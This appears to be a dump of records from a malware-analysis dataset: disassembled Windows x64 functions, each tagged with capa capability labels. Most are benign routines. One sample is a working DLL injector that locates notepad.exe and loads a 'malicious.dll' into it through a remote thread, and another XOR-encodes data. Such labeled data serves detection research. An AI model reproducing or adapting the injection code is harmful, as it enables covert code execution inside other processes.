joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b3230
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x1890]
test rcx, rcx
je 0x1400b330d
mov eax, dword [rbx]
test eax, eax
je 0x1400b330d
mov qword [rsp + 0x38], rsi
xor esi, esi
mov qword [rsp + 0x40], rdi
test al, 1
jne 0x1400b326f
mov rax, qword [rbx + 0x1018]
cmp word [rax], si
je 0x1400b328d
lea rdx, [rbx + 0x189c]
mov r8d, 0x7fff
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x1400b328d
mov word [rbx + 0x189c], si
test byte [rbx], 4
je 0x1400b32a6
mov rcx, qword [rbx + 0x1890]
lea rdx, [rbx + 0x1898]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test byte [rbx], 0x20
je 0x1400b32e4
mov rcx, qword [rbx + 0x1890]
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x1400b32e4
movzx r8d, byte [rbx + 0x1850]
mov ecx, dword [rsp + 0x30]
lea rdx, [rbx + 0x11a9c]
call fcn.140078c10
test eax, eax
jne 0x1400b32e4
mov word [rbx + 0x11a9c], si
test byte [rbx], 8
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
je 0x1400b330d
mov rcx, qword [rbx + 0x1890]
lea rdx, [rbx + 0x1189a]
mov r8d, 0x101
call qword [sym.imp.USER32.dll_GetClassNameW]
add rsp, 0x20
pop rbx
ret

Function at 0x1400b3bc0
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11cd8
call fcn.1400d1370
sub rsp, rax
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1400b3c7e
xor r9d, r9d
lea rcx, [0x1400e14ec]
mov byte [rsp + 0x18a0], dl
mov qword [rsp + 0x1038], rcx
lea rdx, [rsp + 0x20]
lea rcx, [0x1400b44d0]
mov dword [rsp + 0x20], r9d
mov byte [rsp + 0x1871], r9b
mov dword [rsp + 0x1874], r9d
mov qword [rsp + 0x1878], r9
mov qword [rsp + 0x1880], r9
mov qword [rsp + 0x1888], r9
mov dword [rsp + 0x1890], r9d
mov qword [rsp + 0x18a8], r9
mov qword [rsp + 0x18b0], r9
mov qword [rsp + 0x1898], rax
mov dword [rsp + 0x18a4], r8d
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rsp + 0x1878], 0
je 0x1400b3c7e
mov rax, qword [0x140111488]
mov ecx, dword [rax + 0x74]
cmp ecx, 0xffffffff
jle 0x1400b3c7e
mov edx, 1
call fcn.140001a70
mov eax, 1
add rsp, 0x11cd8
ret
Function at 0x1400b3c90
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 0x20], rbx
push r12
sub rsp, 0x20
cmp qword [rcx + 0x10], 0
movzx r12d, dl
mov rbx, rcx
jne 0x1400b3cba
mov eax, 1
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x40], rdi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8, qword [0x140111488]
mov rcx, rbx
mov rdx, rax
mov rdi, rax
call fcn.1400b4230
cmp byte [rbx], 0
mov rbp, rax
je 0x1400b3cf1
test rax, rax
jne 0x1400b3cfa
jmp 0x1400b3d92
test rax, rax
jne 0x1400b3d8d
test rdi, rdi
je 0x1400b3d8d
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x10]
mov qword [rsp + 0x38], rsi
call qword [sym.imp.USER32.dll_PostMessageW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, 1
mov ecx, 0x8000012f
mov esi, eax
call fcn.140001a70
mov rcx, rdi
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1400b3d6f
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [rsi + 0x1f4]
sub ecx, eax
cmp ecx, 5
jle 0x1400b3d6f
mov edx, 1
mov ecx, 0x8000012f
call fcn.140001a70
mov rcx, rdi
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x1400b3d40
mov rax, qword [0x140111488]
mov rsi, qword [rsp + 0x38]
mov ecx, dword [rax + 0x74]
cmp ecx, 0xffffffff
jle 0x1400b3d8d
mov edx, 1
call fcn.140001a70
cmp byte [rbx], 0
je 0x1400b3da6
xor r9d, r9d
mov r8, rbp
movzx edx, r12b
mov rcx, rbx
call fcn.1400b3dd0
jmp 0x1400b3db2
movzx edx, r12b
mov rcx, rbx
call fcn.1400b3fa0
mov rdi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x1400b3fa0
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
mov eax, 0x11ce0
call fcn.1400d1370
sub rsp, rax
cmp qword [rcx + 0x10], 0
movzx edi, dl
mov rbx, rcx
je 0x1400b4165
xor edx, edx
call fcn.1400b4180
test eax, eax
jne 0x1400b3fe0
mov rbx, qword [rsp + 0x11d00]
add rsp, 0x11ce0
pop rdi
ret
mov qword [rsp + 0x11cf0], rbp
mov qword [rsp + 0x11cf8], rsi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8, qword [0x140111488]
mov rcx, rbx
mov rdx, rax
mov rsi, rax
call fcn.1400b4230
mov ecx, dword [0x14011819c]
xor ebp, ebp
test rax, rax
lea rax, [0x1400e14ec]
cmovne ecx, ebp
mov qword [rsp + 0x1048], rax
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x1884], ebp
mov qword [rsp + 0x1888], rbp
mov qword [rsp + 0x1890], rbp
mov dword [0x14011819c], ecx
mov qword [rsp + 0x18b8], rbp
mov qword [rsp + 0x18c0], rbp
test dil, dil
je 0x1400b406a
mov byte [rsp + 0x1881], bpl
test ecx, ecx
je 0x1400b4072
mov byte [rsp + 0x1881], 1
mov rax, qword [0x1401181a8]
mov dword [rsp + 0x18a0], ecx
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x1898], rax
mov rax, qword [rbx + 0x10]
lea rcx, [0x1400b4350]
mov qword [rsp + 0x18a8], rax
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rsp + 0x1888]
test rax, rax
je 0x1400b4129
lea rdx, [rsp + 0x20]
lea rcx, [0x1400b2980]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbp
call qword [sym.imp.USER32.dll_EnumWindows]
mov rbx, qword [rsp + 0x28]
test rbx, rbx
je 0x1400b40f0
mov rcx, qword [rsp + 0x1888]
call fcn.1400b3890
mov qword [rsp + 0x1888], rbx
jmp 0x1400b40f8
mov rbx, qword [rsp + 0x1888]
mov rcx, rbx
call fcn.1400b0e20
mov rcx, qword [rsp + 0x1888]
call fcn.1400b3890
mov r11, qword [0x140111488]
mov ecx, dword [r11 + 0x74]
cmp ecx, 0xffffffff
jle 0x1400b4155
mov edx, 1
call fcn.140001a70
jmp 0x1400b4155
mov eax, dword [0x14011819c]
test eax, eax
je 0x1400b4155
cmp eax, 1
mov dword [0x14011819c], ebp
setg al
test al, al
je 0x1400b4155
mov rcx, rsi
call fcn.1400b3890
xor edx, edx
mov rcx, rbx
call fcn.1400b3fa0
mov rsi, qword [rsp + 0x11cf8]
mov rbp, qword [rsp + 0x11cf0]
mov eax, 1
mov rbx, qword [rsp + 0x11d00]
add rsp, 0x11ce0
pop rdi
ret
Function at 0x1400c968c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400c94fc

Function at 0x1400d32f8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1401102b0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400cd128
xor ebx, ebx
cmp qword [0x140114a68], rbx
mov rdi, rax
jne 0x1400d340b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400d34e2
lea rdx, [0x1400e09e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400d34e2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140114a68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140114a70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140114a78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140114a88], rax
test rax, rax
je 0x1400d3402
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140114a80], rax
jmp 0x1400d3412
mov rax, qword [0x140114a80]
jmp 0x1400d3419
mov rax, qword [0x140114a80]
mov r11, qword [0x140114a88]
cmp rax, rdi
je 0x1400d3480
cmp r11, rdi
je 0x1400d3480
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140114a88]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400d3480
test rax, rax
je 0x1400d3480
call rsi
test rax, rax
je 0x1400d347a
lea rcx, [rsp + 0x30]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400d347a
test byte [rsp + 0x40], 1
jne 0x1400d3480
bts ebp, 0x15
jmp 0x1400d34c0
mov rcx, qword [0x140114a70]
cmp rcx, rdi
je 0x1400d34c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400d34c0
call rax
mov rbx, rax
test rax, rax
je 0x1400d34c0
mov rcx, qword [0x140114a78]
cmp rcx, rdi
je 0x1400d34c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400d34c0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140114a68]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400d34e2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400d34e4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400d08e0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400d564f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1401102b0]
jne 0x1400d08fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400d08f6
repz ret
ror rcx, 0x10
jmp 0x1400d55a8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140114bb0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140114ca8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400d562d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140114bb0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400d564f
mov rax, qword [rsp + 0x88]
mov qword [0x140114ca8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140114c48], rax
mov rax, qword [0x140114ca8]
mov qword [0x140114b20], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140114c30], rax
mov dword [0x140114b10], 0xc0000409
mov dword [0x140114b14], 1
mov rax, qword [0x1401102b0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1401102b8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140114ba8], eax
mov ecx, 1
call fcn.1400d3018
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400e13b0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140114ba8], 0
jne 0x1400d56d6
mov ecx, 1
call fcn.1400d3018
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001a54
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a9e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a9e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a9e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a9e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a9e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa0
xor al, al
add rsp, 0x28
ret
Function at 0x140001019
Capabilities:
Terminate process

Disassembly:
jmp 0x1401ec16c
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.14000119a
test al, al
je 0x1401ec033
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.140001118
mov bl, al
mov ecx, dword [0x1401f3160]
cmp ecx, 1
je 0x1401ec03e
test ecx, ecx
jne 0x1401ebf69
mov dword [0x1401f3160], 1
lea rdx, [0x1401f1660]
lea rcx, [0x1401f1330]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x1401ebf4a
mov eax, 0xff
jmp 0x1401ec023
lea rdx, [0x1401f1220]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x1401f3160], 2
jmp 0x1401ebf71
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.1400011d6
call fcn.1400010eb
mov rbx, rax
cmp qword [rax], 0
je 0x1401ebfa4
mov rcx, rax
call fcn.140001145
test al, al
je 0x1401ebfa4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x1401f6010]
call fcn.140001113
mov rbx, rax
cmp qword [rax], 0
je 0x1401ebfc6
mov rcx, rax
call fcn.140001145
test al, al
je 0x1401ebfc6
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rdi, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov rbx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov r8, rax
mov rdx, rdi
mov ecx, dword [rbx]
call fcn.1400010b9
mov ebx, eax
call fcn.140001181
test al, al
je 0x1401ec048
test sil, sil
jne 0x1401ebffd
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.140001186
mov eax, ebx
jmp 0x1401ec023
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.140001140
nop
mov ecx, 7
call fcn.140001140
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.1400011b3
add rsp, 0x28
jmp 0x1401ebedc

Function at 0x140001041
Capabilities:
Terminate process

Disassembly:
jmp 0x1401ece84
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140001145
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x1401ec708
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x1401ec796
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x1401ec796
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401ec796
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x1401ec77d
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x1401ec777
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1401ec77f
add rdx, 0x28
jmp 0x1401ec75c
xor edx, edx
test rdx, rdx
jne 0x1401ec788
xor al, al
jmp 0x1401ec79c
cmp dword [rdx + 0x24], 0
jge 0x1401ec792
xor al, al
jmp 0x1401ec79c
mov al, 1
jmp 0x1401ec79c
xor al, al
jmp 0x1401ec79c
add rsp, 0x18
ret

Function at 0x140001172
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
jmp 0x1401ebca0
xor r8d, r8d
mov r9d, edx
mov r10, rcx
test edx, edx
jle 0x1401ebcf4
lea r11, str.uvzzn2OwtVa
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x2aaaaaab
lea r10, [r10 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
inc r8d
lea ecx, [rdx + rdx*2]
shl ecx, 2
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + r11]
xor byte [r10 - 1], al
cmp r8d, r9d
jl 0x1401ebcc0
mov eax, r9d
ret

Function at 0x140001181
Capabilities:
Parse pe header

Disassembly:
jmp 0x1401eccf8
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401ecd43
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401ecd43
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401ecd43
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401ecd43
cmp dword [rcx + 0x84], 0xe
jbe 0x1401ecd43
cmp dword [rcx + 0xf8], 0
je 0x1401ecd43
mov al, 1
jmp 0x1401ecd45
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000110e
lea rsi, str.C:UsersPublicDocumentsmalicious.dll
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rdi
lea r8, [rax + 1]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x140001105
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov r8, rsi
mov qword [rsp + 0x20], rbx
mov rdx, rbp
mov rcx, rdi
lea r9, [rax + 1]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400010f0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400010f0
mov qword [rsp + 0x30], rbx
mov r9, rax
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x1400010f0
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x58]
mov al, bl
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140001128
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001207
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011a5
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscmp]
test eax, eax
je 0x1400011a1
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x140001177
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001207
mov ecx, edi
call fcn.140001000
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x1400011e4
lea rdx, str.The_DLL_was_injected_successfully.
call fcn.140001250
mov rcx, rax
lea rdx, [0x1400013bc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x14000122f
lea rdx, str.The_DLL_injection_failed.
call fcn.140001250
mov rcx, rax
lea rdx, [0x1400013bc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 2
jmp 0x14000122f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.The_target_program_is_not_running.
call fcn.140001250
mov rcx, rax
lea rdx, [0x1400013bc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001500
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret

Function at 0x140001ddc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e26
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e28
xor al, al
add rsp, 0x28
ret
Function at 0x140004a40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140004a77
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x140004a98
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004a9a
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140004af3
test ecx, ecx
jle 0x140004ad3
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140004af3
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140004af3
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140004b20
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140004b42
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140004b58
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140004b74
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004b76
xor ecx, ecx
mov qword [rsp + 0x20], rdi
movsxd rax, ecx
test ecx, ecx
je 0x140004bb0
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
sub rbx, rdi
add r14, rdi
mov r8, rbx
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140004c57
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x140004beb
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140004c31
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x140004c70
cmp rbx, rax
ja 0x140004c00
mov r8, rdi
test rdi, rdi
je 0x140004c57
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rdi
sub r8, rax
sub rbp, r8
mov rdi, qword [rsp + 0x20]
mov rax, rbp
mov rbx, qword [rsp + 0x28]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rbp, rbx
jmp 0x140004c5a